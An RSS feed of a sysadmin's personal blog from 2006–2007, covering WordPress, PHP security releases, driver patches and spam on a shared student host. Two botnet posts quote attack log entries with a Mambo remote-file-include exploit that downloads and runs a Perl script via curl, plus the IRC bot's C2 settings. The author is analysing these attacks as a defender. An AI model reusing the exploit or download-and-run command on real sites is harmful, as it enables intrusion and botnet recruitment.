<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Blog &#187; General</title>
	<atom:link href="http://bart.vanbrabant.eu/tag/general/feed/" rel="self" type="application/rss+xml" />
	<link>http://bart.vanbrabant.eu</link>
	<description>Bart&#039;s personal blog. What I do and what I find interesting.</description>
	<lastBuildDate>Fri, 28 May 2010 07:02:55 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.1</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>New server, theme and wordpress</title>
		<link>http://bart.vanbrabant.eu/2007/01/18/new-server-theme-and-wordpress/</link>
		<comments>http://bart.vanbrabant.eu/2007/01/18/new-server-theme-and-wordpress/#comments</comments>
		<pubDate>Thu, 18 Jan 2007 18:37:06 +0000</pubDate>
		<dc:creator>Bart Vanbrabant</dc:creator>
				<category><![CDATA[General]]></category>

		<guid isPermaLink="false">http://bart.vanbrabant.eu/2007/01/18/new-server-theme-and-wordpress/</guid>
		<description><![CDATA[I&#8217;ve updated wordpress to the 2.1 development branch, this forced my to find an other theme that works better with this version. I&#8217;ve also moved this blog to my account at ULYSSIS. I&#8217;m the admin of this machine, this works a little easier.
Update: Of course it was 2.1 and not 3.0  
]]></description>
			<content:encoded><![CDATA[<p>I&#8217;ve updated wordpress to the 2.1 development branch, this forced my to find an other theme that works better with this version. I&#8217;ve also moved this blog to my account at ULYSSIS. I&#8217;m the admin of this machine, this works a little easier.</p>
<p>Update: Of course it was 2.1 and not 3.0 <img src='http://bart.vanbrabant.eu/wp-content/plugins/smilies-themer/tango/face-smile.png' alt=':)' class='wp-smiley' /> </p>
]]></content:encoded>
			<wfw:commentRss>http://bart.vanbrabant.eu/2007/01/18/new-server-theme-and-wordpress/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Firebug</title>
		<link>http://bart.vanbrabant.eu/2007/01/04/firebug/</link>
		<comments>http://bart.vanbrabant.eu/2007/01/04/firebug/#comments</comments>
		<pubDate>Thu, 04 Jan 2007 21:50:17 +0000</pubDate>
		<dc:creator>Bart Vanbrabant</dc:creator>
				<category><![CDATA[General]]></category>

		<guid isPermaLink="false">http://blog.zoeloelip.be/2007/01/04/firebug/</guid>
		<description><![CDATA[Found a fantastic tool today: Firebug. It&#8217;s everything I missed in the webdeveloper extension for firefox.
]]></description>
			<content:encoded><![CDATA[<p>Found a fantastic tool today: <strong><a href="http://www.getfirebug.com">Firebug</a></strong>. It&#8217;s everything I missed in the <a href="https://addons.mozilla.org/firefox/60">webdeveloper</a> extension for firefox.</p>
]]></content:encoded>
			<wfw:commentRss>http://bart.vanbrabant.eu/2007/01/04/firebug/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>More botnet</title>
		<link>http://bart.vanbrabant.eu/2006/12/26/more-botnet/</link>
		<comments>http://bart.vanbrabant.eu/2006/12/26/more-botnet/#comments</comments>
		<pubDate>Tue, 26 Dec 2006 09:37:26 +0000</pubDate>
		<dc:creator>Bart Vanbrabant</dc:creator>
				<category><![CDATA[General]]></category>

		<guid isPermaLink="false">http://blog.zoeloelip.be/2006/12/26/more-botnet/</guid>
		<description><![CDATA[Seems the same people that control the botnet I wrote about in my previous post have moved to an other server. I saw this request in a log today:

200.182.50.156 - - [26/Dec/2006:04:03:23 +0100] "GET /index.php?_REQUEST[option]=com_content&#038;_REQUEST[Itemid]=1&#038;GLOBALS=&#038;mosConfig_absolute_path=http://xargonu.evonet.ro/tool25.txt?&#038;cmd=curl%20-o%20/tmp/unix%20http://sclipici.0catch.com/br/scan.txt;perl%20/tmp/unix ? HTTP/1.0" 200 10922 "-" "Mozilla/5.0"

This request reffers to this http://sclipici.0catch.com/br/scan.txt script. When you open that script you see that [...]]]></description>
			<content:encoded><![CDATA[<p>Seems the same people that control the botnet I wrote about in my previous post have moved to an other server. I saw this request in a log today:</p>
<pre>
200.182.50.156 - - [26/Dec/2006:04:03:23 +0100] "GET /index.php?_REQUEST[option]=com_content&#038;_REQUEST[Itemid]=1&#038;GLOBALS=&#038;mosConfig_absolute_path=http://xargonu.evonet.ro/tool25.txt?&#038;cmd=curl%20-o%20/tmp/unix%20http://sclipici.0catch.com/br/scan.txt;perl%20/tmp/unix ? HTTP/1.0" 200 10922 "-" "Mozilla/5.0"
</pre>
<p>This request reffers to this <a href="http://sclipici.0catch.com/br/scan.txt">http://sclipici.0catch.com/br/scan.txt</a> script. When you open that script you see that the new irc server is now 194.109.20.90, all other stuff like channels and nicknames has stayed the same.</p>
]]></content:encoded>
			<wfw:commentRss>http://bart.vanbrabant.eu/2006/12/26/more-botnet/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Botnets</title>
		<link>http://bart.vanbrabant.eu/2006/12/19/botnets/</link>
		<comments>http://bart.vanbrabant.eu/2006/12/19/botnets/#comments</comments>
		<pubDate>Tue, 19 Dec 2006 15:35:42 +0000</pubDate>
		<dc:creator>Bart Vanbrabant</dc:creator>
				<category><![CDATA[General]]></category>

		<guid isPermaLink="false">http://blog.zoeloelip.be/2006/12/19/botnets/</guid>
		<description><![CDATA[I really want to do something when I discover a botnet that has been trying to exploit some website on the server I administer. There are a few signatures that can be easily recognised as a attack that has been tried. One that I see often is one that tries to exploit a mambo bug [...]]]></description>
			<content:encoded><![CDATA[<p>I really want to do something when I discover a botnet that has been trying to exploit some website on the server I administer. There are a few signatures that can be easily recognised as a attack that has been tried. One that I see often is one that tries to exploit a mambo bug that is more then one year old. This is such a log entry:</p>
<pre>255.255.255.256 - - [19/Dec/2006:00:57:53 +0100] "GET
/index.php?_REQUEST[option]=com_content&#038;_REQUEST[Itemid]=1&#038;GLOBALS=&#038;mosConfig_absolute_path=http://xargonu.evonet.ro/tool25.txt?&#038;cmd=curl%20-o%20/tmp/unix%20http://rebegea.xhost.ro/php/scan.pl;perl%20/tmp/unix
? HTTP/1.0" 200 9905 "-" "Mozilla/5.0"</pre>
</p>
<p>As you can see I obfuscated the source ip. I downloaded this <a href="http://rebegea.xhost.ro/php/scan.pl">file</a> referenced in the url. At the top of that script you see this piece of code:</p>
<pre>my @adms=("sclipici");	       #
#----------------------------------------------################################################
my @canais=("#sclipici :lametrapchan","#sclipici :lametrapchan");     #
#----------------------------------------------################################################

my $nick='necazu';	                       #
#----------------------------------------------################################################
my $ircname = 'id';                         #
#----------------------------------------------################################################
chop (my $realname = `uname -a`);                   #
#----------------------------------------------################################################
$servidor='217.107.222.15' 		       #
unless $servidor;  			       #
#----------------------------------------------################################################
my $porta='6667';</pre>
<p>As you can see it&#8217;s not so hard to find the irc server the exploited servers connect back to and the commands that are given. Here the irc server has the ip 217.107.222.15 and port 6667. The right thing to do now would be to warn the abuse contact for that ip. I tried that some time but after a while you give up because you never get any response.</p>
<p>The irc server found in this script isn&#8217;t active any more at the moment. But from an other access log entry I got <a href="http://rebegea.xhost.ro/scan.pl">this script</a>. You can extract this ip and port 84.232.78.6:6667 from the script. They expect you to go to the channel #necazul with the nick gabiXXX with XXX some number.</p>
<p>Just drop by some time, I don&#8217;t think they like and I enough people do this they will have to move. I someone knows where you can report this stuff without wasting your time because no one will do something about it, please let me know.</p>
<p>The webserver I administer has been under some sort of DDOS attack for some weeks now. At first I noticed something was wrong because the server ran out of workers although the bandwidth and the number of requests per second where normal. After some time I discovered that some hosts tried to post on an old phpBB2 forum I removed a few weeks before. I&#8217;ve been running a script for twee weeks that parses the apache extended server status and sees if there is some host that posts to the url. The rate isn&#8217;t high but they don&#8217;t read the response and keep the tcp connection option so the connection needs to timeout.</p>
<p>At the moment I&#8217;m already blocking over 1150 ip&#8217;s and they keep trying. I&#8217;ve also put the list of blocked ip&#8217;s online, maybe someone can do something usefull with it: <a href="http://web.ulyssis.org/blocked-ip.txt">http://web.ulyssis.org/blocked-ip.txt</a></p>
]]></content:encoded>
			<wfw:commentRss>http://bart.vanbrabant.eu/2006/12/19/botnets/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Wis-go7007 driver update</title>
		<link>http://bart.vanbrabant.eu/2006/12/17/wis-go7007-driver-update-2/</link>
		<comments>http://bart.vanbrabant.eu/2006/12/17/wis-go7007-driver-update-2/#comments</comments>
		<pubDate>Sun, 17 Dec 2006 12:22:16 +0000</pubDate>
		<dc:creator>Bart Vanbrabant</dc:creator>
				<category><![CDATA[General]]></category>
		<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Wis-go7007]]></category>

		<guid isPermaLink="false">http://blog.zoeloelip.be/2006/12/17/wis-go7007-driver-update-2/</guid>
		<description><![CDATA[To compile the wis-go7007 driver for 2.6.19 or 2.6.20-rc1 you&#8217;ll need this patch. I&#8217;m using the later kernel version so I don&#8217;t know if all conditional version stuff is correct. Please let me know when something is wrong!
Note: I&#8217;m lazy by nature so not all changes have kernel version checks, for all kernel up to [...]]]></description>
			<content:encoded><![CDATA[<p>To compile the wis-go7007 driver for 2.6.19 or 2.6.20-rc1 you&#8217;ll need this <a href="http://bart.ulyssis.org/wis-go7007-updates.diff">patch</a>. I&#8217;m using the later kernel version so I don&#8217;t know if all conditional version stuff is correct. Please let me know when something is wrong!</p>
<p><strong>Note:</strong> I&#8217;m lazy by nature so not all changes have kernel version checks, for all kernel up to 2.6.16 the normal version from wischip will do fine and this patch isn&#8217;t needed. Don&#8217;t say I didn&#8217;t warn you!</p>
]]></content:encoded>
			<wfw:commentRss>http://bart.vanbrabant.eu/2006/12/17/wis-go7007-driver-update-2/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>htscanner in PECL</title>
		<link>http://bart.vanbrabant.eu/2006/12/08/htscanner-in-pecl/</link>
		<comments>http://bart.vanbrabant.eu/2006/12/08/htscanner-in-pecl/#comments</comments>
		<pubDate>Thu, 07 Dec 2006 23:19:09 +0000</pubDate>
		<dc:creator>Bart Vanbrabant</dc:creator>
				<category><![CDATA[General]]></category>
		<category><![CDATA[eAccelerator]]></category>

		<guid isPermaLink="false">http://blog.zoeloelip.be/2006/12/08/htscanner-in-pecl/</guid>
		<description><![CDATA[I got a mail a few days ago asking to put htscanner in PECL. Because never used htscanner in a production environment I didn&#8217;t feel like maintaining it. Pierre-Alain Joye will be maintaining and maybe further developing the extension in PECL.
The project page is here: http://pecl.php.net/package/htscanner/
]]></description>
			<content:encoded><![CDATA[<p>I got a mail a few days ago asking to put htscanner in PECL. Because never used htscanner in a production environment I didn&#8217;t feel like maintaining it. Pierre-Alain Joye will be maintaining and maybe further developing the extension in PECL.</p>
<p>The project page is here: <a href="http://pecl.php.net/package/htscanner/">http://pecl.php.net/package/htscanner/</a></p>
]]></content:encoded>
			<wfw:commentRss>http://bart.vanbrabant.eu/2006/12/08/htscanner-in-pecl/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Stop, it&#8217;s not funny anymore</title>
		<link>http://bart.vanbrabant.eu/2006/08/25/stop-its-not-funny-anymore/</link>
		<comments>http://bart.vanbrabant.eu/2006/08/25/stop-its-not-funny-anymore/#comments</comments>
		<pubDate>Fri, 25 Aug 2006 12:57:47 +0000</pubDate>
		<dc:creator>Bart Vanbrabant</dc:creator>
				<category><![CDATA[General]]></category>
		<category><![CDATA[eAccelerator]]></category>

		<guid isPermaLink="false">http://blog.zoeloelip.be/2006/08/25/stop-its-not-funny-anymore/</guid>
		<description><![CDATA[Two weeks back I wrote about how bad the PHP Q&#38;A has gotten lately. In those two weeks we had two other great examples of that. Keeping PHP up to date and secure is really getting a full time job. If you look at the frontpage you see that they released PHP 4.4.3 with some [...]]]></description>
			<content:encoded><![CDATA[<p>Two weeks back I wrote about how bad the PHP Q&amp;A has gotten lately. In those two weeks we had two other great examples of that. Keeping PHP up to date and secure is really getting a full time job. If you look at the <a href="http://www.php.net">frontpage</a> you see that they released PHP 4.4.3 with some bugfixes, on 03/Aug/2006, two weeks later they release a bugfix release for PHP 5.1 (5.1.5) AND php PHP 4.4.4 with the same fixes as in the 5.1 branch. Security bug fixes just lay around for 6 months and now they have to do two release in just two weeks. :s</p>
<p>But it gets better, yesterday they released PHP 5.1.6 with an update for a bugfix in 5.1.5 that didn&#8217;t work on 64-bit architectures. It really starts to feel like they do it on purpose. If someone of the PHP release/QA team reads this, you can stop now, it&#8217;s not funny anymore. Luckily I don&#8217;t have a 64-bit machine that I admin, because otherwise I could start building new packages, again.</p>
<p>Something else, the hardened PHP guys released the successor of their patch-set. All non-essential stuff has been moved to an extension. More information can you find on this <a href="http://www.hardened-php.net/suhosin.127.html">page</a>. I haven&#8217;t been able to test it or do tests with eAccelerator. Remember, it&#8217;s still beta software!</p>
]]></content:encoded>
			<wfw:commentRss>http://bart.vanbrabant.eu/2006/08/25/stop-its-not-funny-anymore/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Wis go7007 driver update</title>
		<link>http://bart.vanbrabant.eu/2006/08/22/wis-go7007-driver-update/</link>
		<comments>http://bart.vanbrabant.eu/2006/08/22/wis-go7007-driver-update/#comments</comments>
		<pubDate>Tue, 22 Aug 2006 21:11:05 +0000</pubDate>
		<dc:creator>Bart Vanbrabant</dc:creator>
				<category><![CDATA[General]]></category>

		<guid isPermaLink="false">http://blog.zoeloelip.be/2006/08/22/wis-go7007-driver-update/</guid>
		<description><![CDATA[I bought a Plextor TV-tuner for my laptop last year, it was a lot more expensive then other usb tuners but they provide open-source drivers so I don&#8217;t have to rely on reverse engineered ones. This all sounds good but only MythTV supports the drivers at the moment. A second issue is that the v4l2 [...]]]></description>
			<content:encoded><![CDATA[<p>I bought a Plextor TV-tuner for my laptop last year, it was a lot more expensive then other usb tuners but they provide <a href="http://oss.wischip.com">open-source drivers</a> so I don&#8217;t have to rely on reverse engineered ones. This all sounds good but only MythTV supports the drivers at the moment. A second issue is that the v4l2 subsystem is in a high flux lately. The people from wischip (the manufacturer of the encoder chip plextor uses) are sometimes a bit slow on updating their drivers.</p>
<p>The last release supports the linux kernel up to version 2.6.16 but when running Fedora rawhide all the time this isn&#8217;t good enough. So a patch the driver to support 2.6.17 and the current rc&#8217;s for 2.6.18. You can get the patch <a href="http://bart.ulyssis.org/go7007-update.patch">here</a>, only use it when you are using 2.6.17 or 2.6.18 because it doesn&#8217;t contain the ifdef&#8217;s needed to make it compile on kernel < = 2.6.16</p>
</p>
<p>Btw, this is my first post with <a href="http://www.dropline.net/drivel">Drivel</a> and I seem to like it! <img src='http://bart.vanbrabant.eu/wp-content/plugins/smilies-themer/tango/face-smile.png' alt=':)' class='wp-smiley' /> </p>
]]></content:encoded>
			<wfw:commentRss>http://bart.vanbrabant.eu/2006/08/22/wis-go7007-driver-update/feed/</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>Shared hosting sucks!</title>
		<link>http://bart.vanbrabant.eu/2006/08/13/shared-hosting-sucks/</link>
		<comments>http://bart.vanbrabant.eu/2006/08/13/shared-hosting-sucks/#comments</comments>
		<pubDate>Sun, 13 Aug 2006 20:35:45 +0000</pubDate>
		<dc:creator>Bart Vanbrabant</dc:creator>
				<category><![CDATA[General]]></category>
		<category><![CDATA[eAccelerator]]></category>

		<guid isPermaLink="false">http://blog.zoeloelip.be/2006/08/13/shared-hosting-sucks/</guid>
		<description><![CDATA[Well, shared hosting really sucks! Not for the user, you can get hosting pretty cheap these days with a lot of features. For the people that administer the server, it&#8217;s something really different. I&#8217;m the webserver admin at ULYSSIS, we are a group of crazy students that administer a bunch of servers to offer really [...]]]></description>
			<content:encoded><![CDATA[<p align="left">Well, shared hosting really sucks! Not for the user, you can get hosting pretty cheap these days with a lot of features. For the people that administer the server, it&#8217;s something really different. I&#8217;m the webserver admin at <a href="http://www.ulyssis.org">ULYSSIS</a>, we are a group of crazy students that administer a bunch of servers to offer really cheap hosting to all people related to the university.</p>
<p>Our cheapest account gets you hosting for €7,5 a year. You&#8217;ll get 200mb quota, 1 mysql/postgresql db, vhosts, a shell account, 1 mailbox but unlimited forwarders for other email addresses. Svn repositorie(s) that aren&#8217;t included in the quota. We have between 300 and 400 accounts. Running a secure webserver for these accounts sucks!</p>
<p>The break-in through a lame php script I wrote about two days ago was on that webserver. I&#8217;ve been putting a lot of work in securing the server to make sure that the threath of a poorly written script is reduced to it&#8217;s bare minimum. I already wrote about this <a href="http://blog.zoeloelip.be/2006/02/06/php-mail-function-spam/">patch,</a> It&#8217;s replaced now by the filter functionality of hardened php and this patch for the <a href="http://www.lancs.ac.uk/~steveb/php-mail-header-patch/">mail function.</a> Because there was an error in the mailfunction config (wrong sendmail parameters) mails from five days got bounced to the www-data user. I wrote a script to extract the original messages and sent them anyway.<br />
Looking throug those bounced mails with grep on stuff like &#8216;enlarge your&#8217;, &#8216;blue pills&#8217; and other keywords you probably know really wel, allowed me to find a forum that they renamed to /forum_old and placed their new on at /forum. It was a phpBB2 install that hadn&#8217;t been used for 3 years and was hacked in 2004. It generated a few dozen spam-mails to it&#8217;s old users every day. This isn&#8217;t just bad for the name of your website (it was a student organisation), it&#8217;s also a security threat for the webserver and for the all users.</p>
<p>So I got an idea. Because the number of users and especially the number of vhosts (everyone needs to have at least two domains to be cool these days (;), I started working on migrating all vhosts to a setup that gets it&#8217;s vhosts from ldap with <a href="http://modvhostldap.alioth.debian.org/">mod-vhost-ldap.</a> This got me thinking about a filter for postfix that checks the X-PHP-Script header and searches the user and it&#8217;s vhosts in ldap and check it for by piping it through spamassassin. Storing these results in a database should allow me to generate nice reports every day who is sending spam from it&#8217;s vhost and identifying the buggy webforms.</p>
<p>If anyone knows about such a filter for postfix or any other mta, please let me know. It really doesn&#8217;t need to have the ldap- backend. It it can generate stats on a vhost basis, that&#8217;s already more then fine and should be good starting point.</p>
]]></content:encoded>
			<wfw:commentRss>http://bart.vanbrabant.eu/2006/08/13/shared-hosting-sucks/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>So you think you are safe &#8230;</title>
		<link>http://bart.vanbrabant.eu/2006/08/11/so-you-think-you-are-safe/</link>
		<comments>http://bart.vanbrabant.eu/2006/08/11/so-you-think-you-are-safe/#comments</comments>
		<pubDate>Fri, 11 Aug 2006 13:30:27 +0000</pubDate>
		<dc:creator>Bart Vanbrabant</dc:creator>
				<category><![CDATA[General]]></category>
		<category><![CDATA[eAccelerator]]></category>

		<guid isPermaLink="false">http://blog.zoeloelip.be/2006/08/11/so-you-think-you-are-safe/</guid>
		<description><![CDATA[There is an excellent project that creates a hardened php distribution. They have been finding bugs in php and fixing them for some time. Most of these bugs are pretty critical and they provide patches months before PHP includes them in a new release. This is getting more and more important because PHP QA is [...]]]></description>
			<content:encoded><![CDATA[<p>There is an excellent project that creates a <a href="http://www.hardened-php.net">hardened php distribution.</a> They have been finding bugs in php and fixing them for some time. Most of these bugs are pretty critical and they provide patches months before PHP includes them in a new release. This is getting more and more important because PHP QA is getting really really bad lately, just look at the PHP 5.1.3 and PHP 5.1.4 releases. Today they released PHP 5.1.5 RC1, to bad: they forgot to add the Zend Engine source to the tarball and to bootstrap autoconf. Hardened PHP has been slapping the php.net guys on their fingers for a while for these mistakes and the lack of security updates. For example this <a href="http://www.hardened-php.net/php_443_security_fixes.122.html">post</a> on their website.</p>
<p>But, yesterday I had to find out the hard way that they also make some big mistakes. A server I manage got hacked through a basic remote include code inject. I was amazed to see something like that happening because I there a one thing this patch should protect php against, it&#8217;s something like this. The hPHP include filter protection only worked when you included a file with the path as a constant in your code. When you include it from a variable like $_GET['page'] the protection didn&#8217;t happen.</p>
<p>After some searching it seemed that they patch zend_vm_def.h which contains &#8220;template&#8221; code that allows zend_vm_gen.php to regenerate the vm in PHP 5.1, when you do regenerate the vm you get the full protection. The hPHP patch also adds protection to the pre-generated code that is used when you just compile PHP from source, BUT they only patch the first opcode handler for &#8216;require&#8217; and &#8216;include&#8217;. The vm has<strong> four</strong> of them<strong> </strong>that all differ a bit from each other depending on the argument passed to require.</p>
<p>What I don&#8217;t seem to get is why they don&#8217;t regenerate the vm and create the patch at that moment instead of patching it manually. Today they released a new version which includes a fix for this problem <a href="http://www.hardened-php.net/hardening-patch_0414_released.125.html">hphp 0.4.14</a> Let&#8217;s hope there aren&#8217;t any of these &#8220;suprises&#8221; left because I really don&#8217;t like them <img src='http://bart.vanbrabant.eu/wp-content/plugins/smilies-themer/tango/face-wink.png' alt=';)' class='wp-smiley' /> </p>
]]></content:encoded>
			<wfw:commentRss>http://bart.vanbrabant.eu/2006/08/11/so-you-think-you-are-safe/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
